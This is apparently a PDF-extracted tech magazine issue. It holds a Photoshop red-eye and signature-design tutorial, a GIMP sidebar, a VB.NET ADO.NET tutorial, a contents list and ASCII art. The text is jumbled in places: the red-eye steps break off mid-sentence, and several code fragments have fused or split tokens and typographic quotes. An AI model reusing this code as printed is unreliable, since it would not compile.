Bye Bye Red Eye by Abhimanyu Ghoshal Over the past decade, digital imaging has evolved at warpspeed, thanks to major breakthroughs in graphics editing and authoring software. The front-runner in the field is Adobe’s Photoshop, currently in its 9th version (dubbed Creative Suite 2). Photoshop offers powerful features and ease of use, a combination rarely seen in industry-standard programs. Plus, the massive pool of resources available in the form of plug-ins, filters, actions, and so on make PS the weapon of choice for designers everywhere. With Photoshop, the possibilities are endless. Once you get to know your way around the workspace, you can set your imagination free and create just about anything. Its also great for adding depth to 3D modelling work. Here are a couple of tutorials to get you started with Photoshop. You don’t need the latest version for these, v7.0 and upwards will do just fine. Fixing a red eye in Adobe Photoshop is fairly simple, and takes just a couple of minutes. To do this, open up the image in Photoshop, and click the ‘Create New Fill or Adjustment Layer button’ (fig. 1). Select Channel Mixer in the context menu that pops up. Next, in the Channel Mixer options, adjust the Source Channels as follows: Red = 0, Green = 50, Blue = 50. Your image may get discoloured, but don’t worry, its just temporary. Now, fill your Channel Mixer Layer with black, by selecting the paint bucket and clicking in the image window. Next, select the Paintbrush Tool, and choose a brush size equal to or smaller than the eye. Select the colour white, /it-times/tutorials/photo
Next, right-click the layer in the Layers window, and rasterize it. Then, hold Ctrl and click it to select its outline. Click Select > Modify > Contract, and enter a value of 25 pixels. Fill the selection with #158CB2. Repeat this contraction and fill this selection with #1382A5. Lastly, contract the selection by 15 pixels and hit Del, and press V to deselect. Once you have this shape, click Edit > Transform > Rotate, and enter a value of -45 degrees in the field next to the angle-shaped icon. Once you’ve done this, drag the shape to the bottom-left area of the canvas. Now we’ll add some text. I’m going to go with plain white, and add my online alias ‘abe’, using the font Rezland. I’m going to use a large point, to add some drama to the piece. Next, I’m going to add a bit of grunge to the background. There are two ways to do this: use a stock photo with a dirty texture, or use a grungy brush. If you have such a stock photo, select the wall area, click Image > Crop and then go to Image > Adjustments > Hue/Saturation. Reduce Saturation to 0. Now, click Edit > Define Pattern. Next, go back to your signature, and on a new layer, use the paint bucket, select Fill > Pattern and pick your wall texture. Fill the new layer with this texture, reduce the layer’s opacity to 25%, and lastly, use the Eraser to remove some areas of the wall texture. I’m very into typography, which is basically the use of text in various forms as elements in a piece. Lets add a random number, with a grunge feel, in the background colour itself and with a huge point size, say, twice as large as the alias text. Add a stroke in black, of say 7 pixels. Now add some really small text in different colours like white and deep blue, as shown. I also added a barcode using the font Code 128, and cut out the bottom to add some random numbers. I then rasterized and merged the 2 layers (numbers and barcode), and used an Eraser to ‘grungify’ it a bit. For the final touches, I simply added some concentric circles, on different layers with varying opacities. I also added some black text on the right, and put in a few arrows, which you can get from the shapes tool, or from dingbat fonts or brushes. That’s it! Obviously you can mix and match elements and ideas, these are just pointers, showing you how to use some of the tools in PS.
Follow these simple tips to stay ahead in design: Get to know your tools. Open any file, and try using every single tool on it, just to get an idea of the power of Photoshop. Knowing what you can do (there are few things that you can’t) increases your range, improves your style and kicks up your efficiency by several notches. For example, try out the Measure tool (hold the Eyedropper button). You can use it to measure distances, as well as angles. This helps when you’re working with typography or with stock images. Learn keyboard shortcuts for as many functions as you can. This not only cuts down on the time spent on your work, but the improved efficiency will also trigger additional creative ideas. Run your mouse over the tools to see the respective keyboard shortcuts. Essential shortcuts: Zoom In/Out, Brush/Pencil, Airbrush, Eraser, Eyedropper/Measure, Inverse Select, Switch Foreground/Background Colours, and Save/Save As. Save often. If possible, create new folders for new image authoring projects, and save major steps separately. These can be used for tutorials, different projects, or just for reworking your current project. Use as many layers as you (and your workstation) can handle. Layers are very flexible to work with, since they allow you to add effects, use selections, or simply remove the elements they hold. The web has thousands of resources to add to your Photoshop experience. Get hold of new brushes, actions, fonts and tutorials to enrich your work. Visit graphics forums and art communities to get an idea of the latest trends in design, to pick up ideas for your work and to cultivate your own unique style.
The Free Alternative GIMP - The GNU Image Manipulation Program, is the best free image authoring and editing software available these days, and runs on Unix, Linux, Windows (9x/2k/ xp) and Mac OS X. The original GIMP was created by Spencer Kimball and Peter Mattis in 1995 as a computer science project. A beta was released in 1996, and a stable version released in May 1998. Since then, the GIMP has undergone major changes and development, and has come a long way since its conception.
General Public License, which means that you are free to share and change the source code as you wish. Support is the in the form of online forums, and help comes mainly from other GNU community members. Check it out at http://www.gimp.org. You can find several tutorials, tips and tricks to help you get started at http://gimp-savvy. com/book/.
Chock full of features, GIMP is very powerful and highly versatile. Migrating from other programs doesn’t take much effort. Furthermore, GIMP comes under the GNU
Abhimanyu Ghoshal is a graphic designer and writer from Bangalore, India. He can be contacted at [email protected], or through his web page at http://abe-x.deviantart.com. /it-times/tutorials/photo
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
adoh
introduction to ADO.NET technologies used ADO.NET Visual Basic.NET Visual Studio 2003 SQL Server 2000
we will cover how to 1. connect 2. retrieve data 3. display 4. update 5. delete
It is assumed that the readers will have some experience writing SQL queries and at a minimum some exposure to VB.NET.
Since this is the first issue of this tutorial column, I will offer a brief introduction to using ADO.NET in Visual Basic.NET. When Microsoft created the .NET Framework and updated Visual Basic and C#, they didn’t stop there. ActiveX Data Objects (ADO) also received a major makeover and is now known as ADO.NET. It shares a couple of characteristics with its predecessor: as well as being able to connect to multiple types of data sources, it has the ability to manipulate the data in a disconnected environment. But that is where the commonality ends – gone is the traditional RecordSet that most developers are accustomed to. In this article, I’ll take you through the basics of using ADO.NET, and as always, we’ll be using the standard Northwind database on SQL Server. Before we get too far into this, we should look at the structure of the namespaces and classes involved. Figure 1 shows the layout of the ADO.NET classes, all of which are in the System.Data namespace. The ones we will be using are DataSet, DataTable, DataColumn and DataRow. In a nutshell, a DataSet will contain one or more DataTables, which contain one or more DataRows, which in turn can contain one or more DataRows. There is one more, the DataReader that we will also be going over. To get things started, open VS.NET and create a new Windows Application project (see figure 2.) On the form, add the following controls:
by Chris Anderson
/it-times/tutorials/dot-net
Command Button Name: LoadProducts Text: Load Products DataGrid Name: ProductList
DimNWAdaptor As New SqlClient.SqlDataAdapter(SelectProducts) NWAdaptor.SelectCommand.Connection = DBConnection
Now we can create the DataSet and fill it with our data.
System Data system DataSet DataTable system DataColumn DataRow system Constraint DataRelation
Double click the command button. This will open up the code view and add the event handler for the button’s click event. To make some of the coding more efficient, add a constant at the top to hold the connection string. Public Class Form1 Inherits System.Windows.Forms.Form Private Const MyCONNECTIONSTRING As String = “Server=(local);Database=Northwind;Trusted_ Connection=True”
Now let’s add some code to retrieve a list of products from the database. We’ll need to create a connection, a select command, a data adapter that uses the connection and command, and finally fill the DataSet with the data. Creating a connection is straightforward: DimDBConnection As New SqlClient.SqlConnection(MyCONNECTIONSTRING)
Creating the Command object is similar to classic ADO. Create the object and set the command text. DimSelectProducts As New SqlClient.SqlCommand(“SELECT * FROM Products”)
The Adapter is a new class added to ADO. It sits between the Command and the Connection classes and acts as a binder of sorts. When you create the DataAdaptor, you specify the Select Command to be used to retrieve the data. Be sure to set the Connection too.
Dimds As New System.Data.DataSet NWAdaptor.Fill(ds, “Products”)
Calling the .Fill method of the adapter takes the connection, opens it, and then executes the command. The results are then sent to the dataset, in a DataTable called “Products.” Now that the dataset has a DataTable with data in it, we can now bind it to the DataGrid and have the results displayed. ProductList.DataSource = ds ProductList.DataMember = “Products”
The setting the DataMember to “Products” is important. The DataSource of the grid is set to our DataSet. But remember that a dataset can contain one or more DataTables. The DataMember allows us to specify which DataTable to display. The DataMember setting corresponds to the name that was given to the DataTable when we filled it. Now if we run the application and click the button, the grid will be filled with the contents of the Products table from the database (see figure 3). Remember when we filled the DataSet, we passed in the table name “Products” and then later we used this name to set the DataMember of the grid? It just so happened to also be the name of the table we selected the data from. It doesn’t have to be this way. By changing the name in the Fill statement, we can give the DataTable a new name. NWAdaptor.Fill(ds, “ProductList”)
Now run the application again and click the Load Products button. As shown in figure 4, this generated an error when setting the DataMember property. This is because there is no longer a DataTable called “Products.” Change it to ProductList and run the application again. This time clicking the button will populate the grid as it did originally. Now add a second button to the form, name it LoadCustomers and change it’s Text property to “Load Customers.” Copy the code from the Click event of the LoadProducts button and paste it into the click event of the LoadCustomers button. Change the SQL to “SELECT * FROM Customers”. Make all of the necessary code changes to use Customers instead of Products. /it-times/tutorials/dot-net
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
Complete code: DimDBConnection As New SqlClient.SqlConnection(MyCON NECTIONSTRING) Dim SelectCustomers As New SqlClient. SqlCommand(“SELECT * FROM Customers”) Dim NWAdaptor As New SqlClient.SqlDataAdapter(SelectCu stomers) NWAdaptor.SelectCommand.Connection = DBConnection Dim ds As New System.Data.DataSet NWAdaptor.Fill(ds, “CustomerList”) ProductList.DataSource = ds ProductList.DataMember = “CustomerList”
Run the application and click one of the buttons. Now click the other button. Now you can switch between the Products listing and the Customer list. Now we are going to make some changes and show how a DataSet can contain multiple DataTables. Create a module level variable called NorthwindDataSet, and make it a new System.Data.DataSet type. Add a third button to the form called LoadAll, and a fourth button called SwitchView. Add the following code to the LoadAll button click event: DimDBConnection As New SqlClient.SqlConnection(MyCON NECTIONSTRING) Dim SelectCustomer As New SqlClient. SqlCommand(“SELECT * FROM Customers”, DBConnection) Dim SelectProduct As New SqlClient.SqlCommand(“SELECT * FROM Products”, DBConnection) Dim CustomerAdaptor As New SqlClient.SqlDataAdapter(Sel ectCustomer) Dim ProductAdaptor As New SqlClient.SqlDataAdapter(Sele ctProduct) CustomerAdaptor.Fill(NorthWindDataSet, “Customers”) ProductAdaptor.Fill(NorthWindDataSet, “Products”) ProductList.DataSource = NorthWindDataSet ProductList.DataMember = “Customers”
And add this code to the click of the SwitchView button: If ProductList.DataMember = “Customers” Then ProductList.DataMember = “Products” Else ProductList.DataMember = “Customers” End If ProductList.Refresh()
The LoadAll creates a connection, then uses two SQLCommand and two DataAdaptor objects to fill the NorthWindDataSet with two DataTables, one called “Customers” and one called “Products”. Then the DataSource of the grid is set to our NorthWindDataSet, and the DataMember is set to “Customers”. This causes the Customers DataTable to be displayed in the grid. The code behind the SwitchView button allows for switch/it-times/tutorials/dot-net
ing between the two DataTables by first checking the DataMember property. If it is set to “Customers” it will switch to “Products” and vice-versa. Run the application and click the Load All button. Once the grid is loaded, try clicking the Switch View button a couple of times. The data in the grid should switch back and forth. Now let’s update some of the information, and learn how the CommandBuilder works. Add another button to the form, called UpdateCustomer. The code for the click event looks like this: DimDBConnection As New SqlClient.SqlConnection(MyCONNECTIONSTRING) Dim SelectCustomer As New SqlClient.SqlCommand(“SELECT * FROM Customers”, DBConnection) Dim CustomerAdaptor As New SqlClient.SqlDataAdapter(SelectCustomer) Dim CmdBuilderCustomer As New SqlClient.SqlCommandBuilder(CustomerAdaptor) CustomerAdaptor.UpdateCommand = CmdBuilderCustomer. GetUpdateCommand CustomerAdaptor.Update(NorthWindDataSet, “Customers”)
The first three lines should look familiar, it establishes the connection, create the Select Command, and initializes the adapter. The next line create what is called a CommandBuilder. It can create an Update, Delete and Insert SQL commands based on the provided Select statement in the Adapter. Once the UpdateCommand has been created, we add it to the adapter, then call the Update method of the Adapter to save the changes to the database. Run the application, click the “Load All” button. Then change any of the information in the grid (except for the ID col). Then click the “Save Customer” button. Stop and then restart the application. When the grid reloads, you will see your changes that you made. I really is that simple. The Delete works in the same manner, just set the DeleteCommand in the Adapter after using the Command Builder. There is one caveat to this process. The CommandBuilder must be able to determine what the table’s Primary Key is. If there is no Primary Key defined, and error will be raised. There you have it - the basics of ADO.NET. I’ve shown you how to select data from a database, display it in a grid, and update the data in the grid. It is extremely easy and doesn’t take very much code to create a powerful database editing application. Join me for the next installment of .NET Developer and I’ll show you how to access Stored Procedures through ADO.NET. Chris Anderson is a Senior Software Developer for EnSite Incorporated. He has been developing in Visual Basic for the past 10 years, from VB3 through VB.NET. When not in front of a computer developing code, he can be found working on his never finished book, or spending time with his family.
raveen wijayatilake
features/games
Grand Theft Auto
indranil dasgupta
../computers
Mac Mini Review
indi samarajiva vinita agarwal indi
../art
OS Tan (Japanese Anime) Code as Art: Flash ASCII Art
../photos
Digital Photos From Sri Lanka
raveen wijayatilake
../p2p
BitTorrent
indi
../security
Spyware, Spy-Aware Virus, Anti-Virus Spam, Anti-Spam
mahangu weerasinghe
features/opensource
Opensource
chintana wilamuna
tutorials/linux
Ubuntu: Linux for Human Beings
prabath sirisena
../web
Taking Back The Web, HTML/CSS
mahangu weerasinghe
../web
Personal Web Server, PHP
raveen
../chat
Google Talk and Jabber
zafar issadeen
../3D
Digital Dreams, 3ds Max
abhimanyu ghoshal
../photo
Bye Bye Red Eye, Photoshop
chris anderson
../dot-net
Introduction to ADO.NET
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
01 02 03 04 05 06 07 08 09 10 . ::SZEHDPY666ZDENNNHDP52.. ;::: .:.:.: 62DENNHE66252255666YYZPPPEHNNNNNNNNHHNNNNHNHHDDDEPZ65cs. SNNHNS6ss..:;. ;;PYNENENNNHNNNNPPZPZZPDHNNNEDZS6 : 11 622 . .... .. ; 2sS5ZYYZYYYYYY6665666ZSY6 : . :s;:s;;;;:;sscss;::. . ;:;: : . .: .ssss5625;:;s5Y665;s :;;.: 12 ;;;::::ss;;;:;:;s;:::;55Y6PZYZYZPYPZZZ56;sssc225c2cccs;: .::: .:: : ;;;::;:;:ss;.;:sc5YYZPEENHNNHNYZPYNNNNNNNNDE66c25S56522css;.:.: . : 13 scs2c522c2255PENNNEHHNNNHEHHNNNNNENH6SPDDHHNHNDDZZ6652526SS62:; ::s s656262S6DDNNDS52PNNNNDPHENHPH D6NHDHDHDEZZSYYPHNDP5;c22c26622:s.s 2625sY6HHED6cYDNNNNP ;DPNHNHEN.sN6NNHNDN5YNNNHYS22ZHDD6;s;ss2YS22 ; 14 5PYHPNNNNEEEEEH6; : 5NDEPPDNN .NNNNPEHN :. DEHN5s ;S662;s:::;22c5 c2sZ6DDHDDZZPZP62s:: :56ND66DHs2NDYP5Z6N . 6SDNY6. .6c:s;;:. c2 15 : 65PN6c5YS62 .NPHDZDNNDP6YDN :s;c;. :.5YENZ2;: ss :.. ; Y6YDS666s:;:. Y66S52PZYD:5 :c566DEZY5s56ENES; :: 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
it-times/index 07
10 12 13 14
: : : . : ; :
16
20 22
28
36
39
44 46 48 50 52
/it-times/index